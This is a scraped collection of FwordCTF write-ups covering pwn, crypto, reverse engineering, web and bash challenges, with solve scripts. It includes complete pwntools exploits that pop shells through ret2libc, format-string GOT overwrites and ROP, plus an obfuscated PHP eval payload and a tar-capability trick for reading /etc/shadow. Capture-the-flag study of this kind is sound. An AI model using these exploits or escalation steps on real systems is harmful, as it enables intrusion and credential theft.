arrow-left

All pages
gitbookPowered by GitBook
1 of 26

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Welcome Pwner

Chuck it in ghidra or your favourite decompiler/analyser - we see it prints the system address to us, then uses gets to read an input. This is a classic buffer overflow which we'll attack with ret2libc.

As it prints the libc address of system, we can simply use that to calculate the libc base. The binary is 32-bit, and it reads input into ebp-0x1c, giving 32 bytes of padding until return address overwrite. Then, we just send system + junk + /bin/sh address

Note that we don't know the remote libc - I used libc-database find to get the remote libc binary, which is libc6_2.30-0ubuntu2_i386

So: 1. Receive libc address 2. Calculate libc base 3. Build ret2libc system("/bin/sh") chain 4. Pop shell, cat flag.txt

from pwn import *
NUM_TO_RET = 0x1c + 4
padding = b'A'*NUM_TO_RET
e = ELF("./molotov")
p = e.process() if args.LOCAL else remote('54.210.217.206',1240)
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2_i386/libc.so.6")
system = int(p.recvline(),16)
p.recvline()
libcbase = system - libc.symbols['system']
log.info(f"System address: {hex(system)}")
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
chain = flat(libc.symbols['system'],libc.symbols['exit'],next(libc.search(b"/bin/sh\x00")))
p.sendline(padding + chain)
p.interactive()

hashtag
Flag: FwordCTF{good_j0b_pwn3r}

Twis Twis Litlle Star

https://github.com/tna0y/Python-random-module-crackerarrow-up-right

(title hints at mersenne twister, which is what python random uses)

script below:

from pwn import *
from randcrack import RandCrack

rc = RandCrack()

s = remote("twistwislittlestar.fword.wtf", 4445)
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
d1 = int(s.recvline().decode().split(" : ")[1][:-1])
d2 = int(s.recvline().decode().split(" : ")[1][:-1])
d3 = int(s.recvline().decode().split(" : ")[1][:-1])
print(d1,d2,d3)
rc.submit(d1)
rc.submit(d2)
rc.submit(d3)
print(s.recvline())
for i in range(621):
  s.recvline()
  s.sendline("1")
  s.recvline()
  d = int(s.recvline().decode().split(" : ")[1][:-1])
  print(d,i)
  rc.submit(d)
  s.recvline()
p = []
for i in range(100):
  p.append(rc.predict_randrange(0, 4294967295))
print(p)
s.interactive()

hashtag
Flag: FwordCTF{R4nd0misnT_R4nd0m_4ft3r_4LL!_Everyhthing_is_predict4bl3_1f_y0u_kn0w_wh4t_Y0u_d01nGGGG}

One Part!

RSA-CRT. We're given dp, which is d modulus p - 1. This is the exact same problem as Weirder RSA from picoCTF 2017, so I shamelessly copied the script and changed the parameters, revealing the flag

hashtag
Flag: FwordCTF{i_knew_it_its_not_secure_as_i_thought}

https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/cryptography/weirderRSA/weirderRSA.htmlarrow-up-right

BDBG

Boneh-durfee go brrrr and then you can reverse the other function easily since its just XOR

line = "101110100011010000110010100100000011001110110001010101100101000000100111011010010010110101000101000110000100011001001100111011111011101001110111100001100011101010101111101100001000010111111000110110110010110100000001001011100010011000110100111100001100111001101110001111001100010001001111100110110110100001011100011100110101001000011100100011011110011000010100110010100111000010101101110101011100010110000100001101101101001111000101011100101100100110110011101000100010101000010001010010110110101011111101110011101110010000101001000111000000100100001010110111001011110001010100100001101111010010111101111001001001111010001100000111000010000100110101100010001111100011111100100100001010010100111010100010000101110000110101000101100"
n = 9
msg = [line[i:i+n] for i in range(0, len(line), n)]


r=3945132
p =12019806956467800913778611206246062087922374347970383926984004278168670921911203657163080865199043522716298571169006826814578568813815787765574990776255283
q = 11391686090403905599695015583829755003551766728158057028281938682097322841603835874354540607209988671617182359012432600907514677996087087987893334356043831
n= p*q

bs = 9
r=3945132
x=pow(r,2,n)
c = ''
for i in range(81):
    x=pow(x,2,n)
    p=(bin(x)[2:])[-bs:]
    c_i=int(p,2)^int(msg[i],2)
    ci_bin = format(c_i, '0' + str(bs) + 'b')
    c+=ci_bin

print(c)

hashtag
Flag: FwordCTF{boneh_and_blum?_mix3d_but_good_j0b!!}

Weird RSA

Each character of the plaintext is encrypted using a known N and unknown e, creating a ciphertext array we're given. Infact, the actual RSA behind it is completely irrelevant. All we need to know is that each character is mapped to a number via a mapping function which we cannot reverse. The ciphertext is 932 numbers long, with 31 unique numbers, making it the equivalent of a simple substitution cipher which we can easily break using frequency analysis.

I used this script(with the values already loaded in enc)

english_freq = [' ', 'E','T','A','I','N','O','R','S','L','H',
                'C','M','D','Y','P','U','W','F','G','.','V',
                'B','X','K',',','Q', 'Z', '\'', '0', '9']
freqenc = sorted(set(enc),key=enc.count,reverse=True)
mapping = {}
for num in freqenc:
    if freqenc.index(num) >= len(english_freq):
        mapping[num] = '-'
    else:
        mapping[num] = english_freq[freqenc.index(num)]
dec = ''
for num in enc:
    dec += mapping[num]
print(dec)

Which prints out:

DOEKHESYW RSRLWANA NA HAEU DIO GOERVNSF AHGATNTHTNIS YNMCEOA. TCE FESEORL NUER NA TI DNSU TCE MIMHLRO LETTEOA NS TCE YNMCEOTEXT RSU TOW TI OEMLRYE TCEP GW TCE YIPPIS LETTEOA NS TCE HAEU LRSFHRFE. TCE RTTRYVEO HAHRLLW YCEYVA AIPE MIAANGNLNTNEA RSU PRVEA AIPE AHGATNTHTNISA ID LETTEOA NS YNMCEOTEXT. CE LIIVA DIO MIAANGLE RMMERONSF BIOUA RSU GRAEU IS TCRT PRVEA PIOE AHGATNTHTNISA. HANSF YIPMHTEOA, NT NA MIAANGLE TI TOW R LIT ID YIPGNSRTNISA NS OELRTNQE ACIOT TNPE. BORM TCE DLRF NS NTA DIOPRT 0 BELLDOEKHESYWRSRLWANAOIYVA. DIO EXRPMLE, ND NS TCE RSRLW'EU YNMCEOTEXT TCE PIAT MIMHLRO LETTEO NA X, ISE PRW MOEUNYT TCRT X OEMLRYEU E IO I ZISE ID TCE PIAT MIMHLRO LETTEOA NS ESFLNAC9 DOIP TCE MLRNSTEXT. NT NA HAEDHL TI LIIV DIO MIMHLRO MRNOA ID LETTEOA IO EQES TOW TI MOEUNYT AIPE DOEKHEST LISFEO AEKHESYEA ID LETTEOA IO BCILE BIOUA. TCE NSTOHUEO RLBRWA TONEA TI DNSU AEKHESYEA ID LETTEOA BCNYC ROE IDTES HAEU NS TCE AELEYTEU LRSFHRFE.

I'm not sure why the output is wrong, but it can be chucked into a substitution cipher solver(https://www.guballa.de/substitution-solverarrow-up-right) to get the real plaintext:

From here we can see the flag is WELLFREQUENCYANALYSISROCKS wrapped in the flag format(you actually had to put it in lowercase too)

hashtag
Flag: FwordCTF{wellfrequencyanalysisrocks}

FREQUENCY ANALYSIS IS USED FOR BREAKING SUBSTITUTION CIPHERS. THE GENERAL IDEA IS TO FIND THE POPULAR LETTERS IN THE CIPHERTEXT AND TRY TO REPLACE THEM BY THE COMMON LETTERS IN THE USED LANGUAGE. THE ATTACKER USUALLY CHECKS SOME POSSIBILITIES AND MAKES SOME SUBSTITUTIONS OF LETTERS IN CIPHERTEXT. HE LOOKS FOR POSSIBLE APPEARING WORDS AND BASED ON THAT MAKES MORE SUBSTITUTIONS. USING COMPUTERS, IT IS POSSIBLE TO TRY A LOT OF COMBINATIONS IN RELATIVE SHORT TIME. WRAP THE FLAG IN ITS FORMAT 0 WELLFREQUENCYANALYSISROCKS. FOR EXAMPLE, IF IN THE ANALY'ED CIPHERTEXT THE MOST POPULAR LETTER IS X, ONE MAY PREDICT THAT X REPLACED E OR O ZONE OF THE MOST POPULAR LETTERS IN ENGLISH9 FROM THE PLAINTEXT. IT IS USEFUL TO LOOK FOR POPULAR PAIRS OF LETTERS OR EVEN TRY TO PREDICT SOME FREQUENT LONGER SEQUENCES OF LETTERS OR WHOLE WORDS. THE INTRUDER ALWAYS TRIES TO FIND SEQUENCES OF LETTERS WHICH ARE OFTEN USED IN THE SELECTED LANGUAGE.

NULL

NULL

First of all, there are a few things in the header we need to fix. The first byte needs to be a 89, not a 69 (nice), and we need to capitalize the IHDR chunk header thing (idk)

Next, if we run a pngcheck, we see that the dimensions are 0x0. Thinking back to dimensionless loading, we can bruteforce the dimensions if the crc32 is intact.

from zlib import crc32

data = open("NULL",'rb').read()
index = 12

ihdr = bytearray(data[index:index+17])
width_index = 7
height_index = 11

for x in range(1,2000):
    height = bytearray(x.to_bytes(2,'big'))
    for y in range(1,2000):
        width = bytearray(y.to_bytes(2,'big'))
        for i in range(len(height)):
            ihdr[height_index - i] = height[-i -1]
        for i in range(len(width)):
            ihdr[width_index - i] = width[-i -1]
        if hex(crc32(ihdr)) == '0xe3677ec0':
            print("width: {} height: {}".format(width.hex(),height.hex()))
    for i in range(len(width)):
            ihdr[width_index - i] = bytearray(b'\x00')[0]

We then change the dimensions using something like GHEX: and then we can open the image as normal to get the flag.

hashtag
Flag: FwordCTF{crc32_is_the_way}

One Piece Remake

The binary has no protections except Partial RELRO.

The menu has 3 options besides exiting, one of which is secret.

We can read into a shellcode pointer, but only 5 bytes get read. We can execute said shellcode. This is all pretty much useless since 5 bytes of shellcode is not enough to do literally anything useful.

There's a secret option - gomugomunomi. It reads 100 bytes of input(no BOF) and then printfs it, allowing us to execute the classic format string exploit.

I tried to do the simple %p leak, but found no useful addresses on the stack. Instead, I used %s to read my buffer(offset 7, found through pwntools automation) as an address of a string in order to read got entries.

By doing gotaddress + %7$s we can leak got addresses to get a libc leak. We'll use libc-database find yet again to get the remote libc, libc6_2.30-0ubuntu2.2_i386

Then, we'll execute a got overwrite attack by overwriting printf@got with system. Next gomugomunomi, the input will be system'd, so we enter /bin/sh to get dropped into a shell.

But it's not over! On the remote, there is no cat. The solution to read flag.txt is simple - while read line; do echo $line; done < flag.txt

This reveals the flag.

  1. gotaddress+ %7$s to leak libc

  2. Format string overwrite to map printf to system

  3. In gomugomunomi, send /bin/sh

hashtag
Flag: FwordCTF{i_4m_G0inG_t0_B3coM3_th3_p1r4Te_K1NG}

Use while read line; do echo $line; done to read the flag file as cat is nonexistent
from pwn import *
e = ELF("./remake")
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_i386/libc.so.6")
def getproc():
    return e.process() if args.LOCAL else remote('onepiece.fword.wtf', 1236)
def dofmt(data):
    p.sendline(b"gomugomunomi")
    p.recvuntil(b">>")
    p.sendline(data)
    output = p.recvline()
    p.recvuntil(b">>")
    return output
def write_fmt(data):
    proc = getproc()
    proc.recvuntil(b">>")
    proc.sendline("gomugomunomi")
    proc.recvuntil(b">>")
    proc.send(data)
    output = proc.recvline()
    proc.close()
    return output
auto = FmtStr(write_fmt)
p = getproc()
p.recvuntil(b">>")
string = b"/bin/sh\x00"
payload = p32(e.got['puts']) + b'%7$s'
output = dofmt(payload)[4:8]
libcleak = u32(output)
log.info(f"Libc leak: {hex(libcleak)}")
libcbase = libcleak - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
# Overwrite printf@got with system@GLIBC
payload = fmtstr.fmtstr_payload(auto.offset,{e.got['printf']: libc.symbols['system']})
p.sendline(b"gomugomunomi")
p.recvuntil(b">>")
p.sendline(payload)
p.clean()
p.sendline(b"gomugomunomi")
p.recvline()
p.sendline(b"/bin/sh")
p.interactive()

FWordCTF

Pwnchevron-rightRevchevron-rightCryptochevron-rightOSINTchevron-rightBashchevron-right

Numbers

Numbers

The program is a constant prompt that... 1. Reads a number from us 2. Checks if the number is greater than 60, if so it tells us we're naughty and exits 3. Reads that amount of data into a 64 length buffer 4. Prints the data 5. Asks if we want to try again, just dont type n

There's also some prompts inbetween but those aren't important. At first glance, this seems perfectly secure. But actually, note this code snippet.

It actually uses atoi to convert our input to a number, and atoi allows signed integers.

This means we can enter a negative number, like -1, and atoi will return 0xffffffff

the read function takes a size_t parameter - it wont think we're trying to read -1 bytes of data, but 4294967295 bytes of data. Now that's a lot of overflow.

PIE is on, so we cant just overwrite the return address of the integer reading function, ret2plt and call it a day. Because it prints our input back at us, we can exploit it similarly to skywriting from redpwn.

As a recap, strings are terminated by null bytes. When a function, like printf in this case, attempts to print a string, it will continue reading data until it reaches a null byte, at which it will stop.

If we make our input long enough, overwriting null bytes and nudging itself next to some data, said data can be leaked. Imagine it like this:

(our input is at the beginning, and we wish to leak the 0xdeadbeef data) currently this reads as an empty string let's fill the input with AAAA

Now, the null bytes have been overwritten, so the 0xdeadbeef is part of the string! This reads to be AAAA\xde\ad\be\ef.

8 bytes from the beginning of our buffer is atoi+16, we can leak this using this method and calculate the libc base. Our input is 72 bytes from the return address, so after leaking we will send 72 bytes of padding + poprdi + /bin/sh + retgadget(stack alignment) + system to overwrite the return address of the buffer reading function and pop a shell.

Then, cat flag.txt to get the flag.

  1. Send size of -1 to gain large buffer overflow

  2. Send 8 bytes to leak libc address(atoi+16)

  3. Use libc-database find to get the remote libc(libc6_2.28-0ubuntu1_amd64)

hashtag
Flag: FwordCTF{s1gN3d_nuMb3R5_c4n_b3_d4nG3r0us}

  read(0,local_10,8);
  iVar1 = atoi(local_10);

Rev

Use size -1 trick again to overwrite return address and send system("/bin/sh") rop chain to pop a shell
00 00 00 00 de ad be ef
41 41 41 41 de ad be ef
from pwn import *
e = ELF("./numbers")
context.arch = 'amd64'
p = e.process() if args.LOCAL else remote('numbers.fword.wtf', 1237)
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
def getoutput(data,cont=True):
 p.recvuntil(b"??\n")
 # We send -1 as a number because atoi allows negatives, but read will actually just interpret this as a request to read 0xffffffff bytes, giving us a lot of overflow
 p.send("-1\x00")
 p.recvline()
 # Our input is echoed(safe printf) so we can leak values because of lack of string termination, skywriting style
 p.send(data)
 if not cont:
     return
 p.recvuntil(data)
 ans = p.recvline()
 p.recvuntil(b"?\n")
 p.send('\n')
 return ans[:-1]
num = 0x40
libcleak = getoutput(b'A'*8).ljust(8,b'\x00')
libcleak = u64(libcleak)
log.info(f"Libc leak: {hex(libcleak)}")
libcbase = libcleak - 16 - libc.symbols['atoi']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
padding = b'A'*0x48
rop = ROP(libc)
poprdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
retgadget = (rop.find_gadget(['ret']))[0]
chain = flat(poprdi,next(libc.search(b"/bin/sh\x00")),retgadget,libc.symbols['system'])
getoutput(padding + chain,False)
p.interactive()

Secret Array

If you request the sums of 0 1, 1 2, and 2 0, you can sum them and divide to get the sum of 0, 1 and 2.

Then subtracting one of the above from this lets you find 0, 1 and 2, from which you can ask for 2 3 to get 3, etc.

Script below.

import socket
socket = socket.socket()
socket.connect(('secretarray.fword.wtf', 1337))
socket.recv(2048)
def recv():
    while True:
        a = socket.recv(2048).decode('ASCII')
        if a != '\n':
            return a
socket.send(b'0 1\n')
a=[]
a.append(int(recv()))
socket.send(b'1 2\n')
a.append(int(recv()))
socket.send(b'2 0\n')
a.append(int(recv()))
s=sum(a)//2
b=[s-a[1], s-a[2], s-a[0]]
print(b)
for i in range(2, 1336):
    socket.send(f'{i} {i+1}\n'.encode('ASCII'))
    b.append(int(recv())-b[-1])
    print(f'{i+1} - {b[-1]}')
socket.send(("DONE "+" ".join(str(i) for i in b)+'\n').encode('ASCII'))
socket.recv(2048)
print(socket.recv(2048))

Misc

Pwn

Web

Fibo

Here's what the program does

First of all, use a mess function to encode the flag. This mess function is easily byte by byte bruteforceable if we use the printable range of characters.

Let's call this mflag.

def mess(msg):
    enc=""
    for i in msg:
        enc+=chr((ord(i)+ord(i))%256)
    return enc
printable = string.printable
def demess(msg):
    # Byte by byte bruteforce
    dec = ""
    for i in range(len(msg)):
        for char in printable:
            if mess(char) == msg[i]:
                dec += char
                break
        else:
            dec += "-"
    return dec

Next, it pads the mflag so that it's length is a multiple of 9 using .

Then, it encrypts the mflag using matrix multiplication. Splitting the mflag into bunches of 9, it fills up a 3x3 matrix using the ascii values, multiplies it by a key that we know, transposes the resulting matrix, and turns it into a string result of of form

This is all done using the messig_up function. Then, it takes the output, parses it, and uses an encode function to encode each of the numbers, writing them all to the output file. I didn't reverse the encode function, and instead just did a classic bruteforce to get the numbers which were all less than 2500.

Here's how the solve script operates.

  1. Create a mapping of all possible encodings. Now, decode all the number encodings using this mapping.

  2. Split the numbers into groups of 9, fill up 3x3 matrices, and transpose these matrices to get the pure matrix multiplication outputs.

  3. Calculate the matrix inverse of the matrix key, then multiply the matrices by this inverse to get the original matrices

Script below:

hashtag
Flag: FwordCTF{whatever_you_do_i_can_do_it_better!!!!}

matrix[0,0] matrix[0,1] matrix[0,2] matrix[1,0] .... ----- matrix2[0,0] .....

Crypto

String together all these matrices back into a string by taking the ascii values(we call round, as the results will be floats) to get mess(flag)

  • Use our byte by byte bruteforce mess function to decode the messed flag.

  • Beginner Rev

    As usual angr went brrr after I stopped being stupid and made it search for the success address, not output, which resulted in file errors.

    import angr
    import claripy #the solver engine
    
    proj = angr.Project("./welcome", auto_load_libs=False)
    sym_arg_size = 0x10 #Length in Bytes because we will multiply with 8 later
    inp = [claripy.BVS('flag_%d' % i, 8 ) for i in range(sym_arg_size)]
    flag = claripy.Concat(*inp + [claripy.BVV(b'\n')])
    state = proj.factory.full_init_state(args=["./welcome"], stdin=flag)
    for byte in inp:
        state.solver.add(byte >= ord('0'))
        state.solver.add(byte <= ord('9'))
    
    simgr = proj.factory.simulation_manager(state)
    good = 0x400000 + 0x12b2
    bad = [0x400000 + 0x1669, 0x400000 + 0x167b]
    
    simgr.use_technique(angr.exploration_techniques.DFS())
    simgr.explore(find=good)
    found = simgr.found[0]
    print(found.solver.eval(flag, cast_to=bytes))
    The solved input is 1755121917194838

    hashtag
    FLAG: FwordCTF{luhn!_wh4t_a_w31rd_n4m3}

    import string
    def mess(msg):
        enc=""
        for i in msg:
            enc+=chr((ord(i)+ord(i))%256)
        return enc
    printable = string.printable
    def demess(msg):
        # Byte by byte bruteforce
        dec = ""
        for i in range(len(msg)):
            for char in printable:
                if mess(char) == msg[i]:
                    dec += char
                    break
            else:
                dec += "-"
        return dec
    import random
    import numpy as np
    key=np.matrix("1 2 3;0 1 4;5 6 0")
    def recur_fibo(n):
        if n<=1:
            return 1
        else:
            return recur_fibo(n-1)+recur_fibo(n-2)
    def messig_up(message,key):
        parts=""
        while len(message)!=0:
            to_work_with=message[:9]
            first_one=np.zeros((3,3))
            k=0
            for i in range(3):
                for j in range(3):
                    first_one[i][j]=ord(to_work_with[k])
                    k+=1
            finish=np.transpose(np.matmul(first_one,key))
            for i in range(3):
                for j in range(3):
                    parts=parts + str(finish[i,j])+ " "
            parts+="-----"
            message=message[9:]
        return parts
    def encode(n):
        i=1
        fib=recur_fibo(i)
        t_f=[]
        while fib<n:
            t_f.append(fib)
            i+=1
            fib=recur_fibo(i)
        _sum=0
        a_f=[]
        for i in range(len(t_f)-1,-1,-1):
            if _sum==n:
                break
            if _sum+t_f[i]<=n:
                a_f.append(t_f[i])
                _sum+=t_f[i]
        exis=[]
        for i in t_f:
            if i in a_f:
                exis.append(1)
            else:
                exis.append(0)
        return t_f,exis
    encmap = []
    for i in range(2500):
        encmap.append(encode(i))
    stuff = open("output.txt").readlines()
    data = []
    for line in stuff:
        data.append(eval(line))
    nums = []
    for piece in data:
        nums.append(encmap.index(piece))
    print(nums)
    invkey = np.linalg.inv(key)
    dec = ""
    for i in range(0,len(nums),9):
        split = nums[i:i+9]
        goodmat = np.array([split[j:j+3] for j in range(0,9,3)])
        goodmat = np.transpose(goodmat)
        matr = np.matmul(goodmat,invkey)
        print(matr)
        for x in range(3):
            for y in range(3):
                dec += chr(round(matr[x,y]))
    print(len(dec))
    print(demess(dec).encode())

    Tornado

    Looking at the script, it scrambles the flag (by using one of the flag's characters as the seed), splits it into blocks of 2 bytes, and then pads them, and then AES encrypts them with a known key.

    We start by decrypting each block with the key to get a long string: aaFho_i_aC2b_abfc8edFw!kolae_ngbom_r__f_9T525eg__ihedd}{pmertt

    Then, we bruteforce the seed by trying each of the characters of the flag as the seed. We do this by scrambling our own string (I chose ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789) with the seed, and then comparing it to the above string and see if it's in flag format.

    Seeing as "w" only appears once, and it is in the flag format, I based my check on this. We check if our output string[21] is equal to "B", since this is its place in the flag format.

    We get our seed as "h", and we encrypt our string with it. Last thing to do is to match each character up to its original position. Script below:

    hashtag
    Flag: FwordCTF{peekabooi_am_the_flag!_i_am_the_danger_52592bbfcd8}

    JAILOO WARMUP

    We are only allowed to use these characters: $()_[]=+;".

    Webserver evals our input.

    We also have a 2000 character cap (found by experimenting)

    Found a pretty good resource on this: https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/arrow-up-right

    Main idea is to

    • use underscores for variables names

    • use $_=([]."")[([]==[])+([]==[])+([]==[])] to get a lowercase a

    • use $_=([]."")[[].[]+[][[]]] to get an uppercase A

    • use [varname]++ to increase the ascii value for each of these to get all ascii letters

    • take a string and join our characters one by one with .=

    • for other characters, we can just join then with .="char", assuming it is allowed.

    Our first goal is to get phpinfo, to see if there are any disabled functions:

    Payload:

    We can see that useful functions which would have allowed us to read from the file like file_get_contents are disabled. However, readfile() is not disabled, so we can use that. We can then use printf() to output that to us.

    Our final payload will then eval to: printf(readfile("FLAG.PHP"))

    Final payload:

    hashtag
    Flag: FwordCTF{Fr0m_3very_m0unta1ns1d3_l3t_fr33d0m_r1ng_MLK}

    (need to view source to see it)

    Randomness

    Basically, there is an LCG being used to generate the string of numbers. It takes a seed, multiplies it with "a", adds "b", and then takes that mod a prime "p".

    We don't know any of these values however. It generates a list of numbers from a starting random seed this way, and then xors each character of the flag to get a new list.

    We know the flag format is "FwordCTF{", so we can start by XORing these characters to get the actual string of LCG generated numbers: [6680465291011788181, 5100570103593250306, 5906808313299165163, 1965917782737693404, 9056785591048864532, 1829758495155458643, 6790868899161600099, 1596515234863242753, 1542626304251881944] Now, we do some modular maths stuff:

    6680465291011788181 a + b = 5100570103593250306 5906808313299165163 a + b = 1965917782737693404(all of these are taken mod p of course) 1596515234863242753 * a + b = 154262630425188194

    We can subtract the equations from each other to get rid of the b: (6680465291011788181 - 5906808313299165163)a = 5100570103593250306 - 1965917782737693404 (5906808313299165163 - 1596515234863242753)a = 1965917782737693404 - 1542626304251881944

    Simplifying:

    Im using these from now because idk why the others arent working

    Solve script:

    hashtag
    Flag: FwordCTF{LCG_easy_to_break!That_was_a_mistake_choosing_it_as_a_secure_way}

    XO

    Whatever we input, the binary searches for characters in our input that are the same as a character of the flag in the same position. It prints the number of characters before the first occurrence of this. For example, if the flag was FwordCTF{}, then...

    Fgjehrfd -> 0

    sws -> 1

    gggg -> 4

    Using this, we can run a simple byte by byte bruteforce in order to get the data in flag.txt - NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!}

    Adding the flag format, we get the flag, FwordCTF{NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!}

    I used backticks for padding since they were pretty much guaranteed not to be in the flag - we can send backtick_padding + char and bruteforce "char" until the number returned equals the number of backticks, the character of the flag in that position would be the char where the server returned number is equal to the number of backticks.

    hashtag
    Flag: FwordCTF{NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!}

    a = "aaFho_i_aC2b_abfc8edFw!kolae_ngbom_r__f_9T525eg__ihedd}{pmertt"
    b = "sUHoQmijkF23xd4568LEABgMCcNpqtuOPVWDhabT1Gyz0KefRSYZr79IJlvwXn"
    
    a = list(a)
    b = list(b)
    c = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
    o = ""
    for i in range(len(a)):
      d = b.index(c[i])
      o += a[d]
    print(o)
    773656977712623018a = 3134652320855556902
    4310293078435922410a = 423291478485811460
    5194353664298357346a = 53888930611360809
    2265916691887264433a = 233243260292215890
    from pwn import *
    import time
    printable = "?_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*(){},./<~\\"
    host = ('xo.fword.wtf', 5554)
    def getnum(string):
        while True:
            try:
                p = remote(*host)
                break
            except socket.gaierror:
                time.sleep(1)
        #p = process("./task")
        p.recvline()
        p.sendline(string)
        ans = int(p.recvline())
        p.close()
        return ans
    flag = ''
    i = len(flag)
    while '}' not in flag:
        pad = '`'*i 
        for char in printable:
            totry = pad + char
            print(totry)
            if getnum(totry) == i:
                flag += char
                print(f"Flag: {flag}")
                break
        else:
            print(flag)
            quit()
        i += 1
    $_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$__="";$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$____;$_____++;$_____++;$__.=$_____;$____=$___;$____++;$____++;$__.=$____;$__.=$_____;$____++;$__.=$____;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$__.=$___;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$__();
    $_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$__="";$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$____;$_____++;$_____++;$__.=$_____;$_____++;$_____++;$__.=$_____;$_____=$___;$_____++;$_____++;$_____++;$__.=$_____;$_____++;$_____++;$_____++;$_____++;$_____++;$__.=$_____;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$__.=$___;$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$_++;$_++;$_____="";$______=$_;$______++;$______++;$______++;$_______=$______;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$________=$_______;$________++;$________++;$_____.=$________;$_____.=$_;$_=([]."")[([]==[])+([]==[])+([]==[])];$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_++;$_++;$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$_++;$_++;$_____.=$_;$_=([]."")[[].[]+[][[]]];$_______="";$________=$_;$________++;$________++;$________++;$________++;$________++;$_______.=$________;$_________=$________;$_________++;$_________++;$_________++;$_________++;$_________++;$_________++;$_______.=$_________;$_______.=$_;$_________=$________;$_________++;$_______.=$_________;$_______.=".";$_________++;$__________=$_________;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$_______.=$__________;$_______.=$_________;$_______.=$__________;$__($_____($_______));
    p = 9444729917070668893
    a = 7762244320486225184
    b = 731234830430177597
    X=[6680465291011788181]
    c=0
    while c<73:
        X.append((a*X[c]+b)%p)
        c+=1
    o = ""
    bleh = [6680465291011788243, 5100570103593250421, 5906808313299165060, 1965917782737693358, 9056785591048864624, 1829758495155458576, 6790868899161600055, 1596515234863242823, 1542626304251881891, 8104506805098882719, 1007224930233032567, 3734079115803760073, 7849173324645439452, 8732100672289854567, 5175836768003400781, 1424151033239111460, 1199105222454059911, 1664215650827157105, 9008386209424299800, 484211781780518254, 2512932525834758909, 270126439443651096, 3183206577049996011, 3279047721488346724, 3454276445316959481, 2818682432513461896, 1198230090827197024, 6998819122186572678, 9203565046169681246, 2238598386754583423, 467098371562174956, 5653529053698720276, 2015452976526330232, 2551998512666399199, 7069788985925185031, 5960242873564733830, 8674335448210427234, 8831855692621741517, 6943582577462564728, 2159276184039111694, 8688468346396385461, 440650407436900405, 6995840816131325250, 4637034747767556143, 3074066864500201630, 3089580429060692934, 2636919931902761401, 5048459994558771200, 6575450200614822046, 666932631675155892, 3355067815387388102, 3494943856508019168, 3208598838604422062, 1651654978658074504, 1031697828323732832, 3522460087077276636, 6871524519121580258, 6523448658792083486, 127306226106122213, 147467006327822722, 3241736541061054362, 8781435214433157730, 7267936298215752831, 3411059229428517472, 6597995245035183751, 1256684894889830824, 6272257692365676430, 303437276610446361, 8730871523914292433, 6472487383860532571, 5022165523149187811, 4462701447753878703, 1590013093628585660, 4874224067795612706]
    for i in range(len(bleh)):
        o += chr(bleh[i] ^^ X[i])
    print(o)

    CapiCapi - bash

    when connecting to the service i tried most of the common priv esc techniques but none worked however. After being triggered for hours because it wasn't sudo -l i read the briefing again. I then googled the briefing and after quite a bit of endless googling found something called linux capabilities that could be exploited. I ended up finding this website about it:

    https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099arrow-up-right

    After running the check to see if this could be exploited on our system:

    user1@d963015da1fa:/$ getcap -r / 2>/dev/null    <-- command we run  
    /usr/bin/tar = cap_dac_read_search+ep <-- our response

    this shows the same thing as the website so we know it should be able to be exploited.

    We see that the binary tar has the privelages to read anything on the file system.

    We attempt the example on /etc/shadow just like in the website and then go on to do the same thing on the flag.txt file:

    We then go into the /tmp/home/user1 directory and read the flag.txt file

    hashtag
    Flag: FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}

    user1@d963015da1fa:/tmp$ tar -cvf flag.tar /home/user1/flag.txt
    tar: Removing leading `/' from member names
    /home/user1/flag.txt
    user1@d963015da1fa:/tmp$ tar -xvf flag.tar

    OSINT

    Bash

    Identity Fraud

    The start of the challenge links you to a twitter (https://twitter.com/1337bloggsarrow-up-right). This brings you to the person of Fred Bloggs.

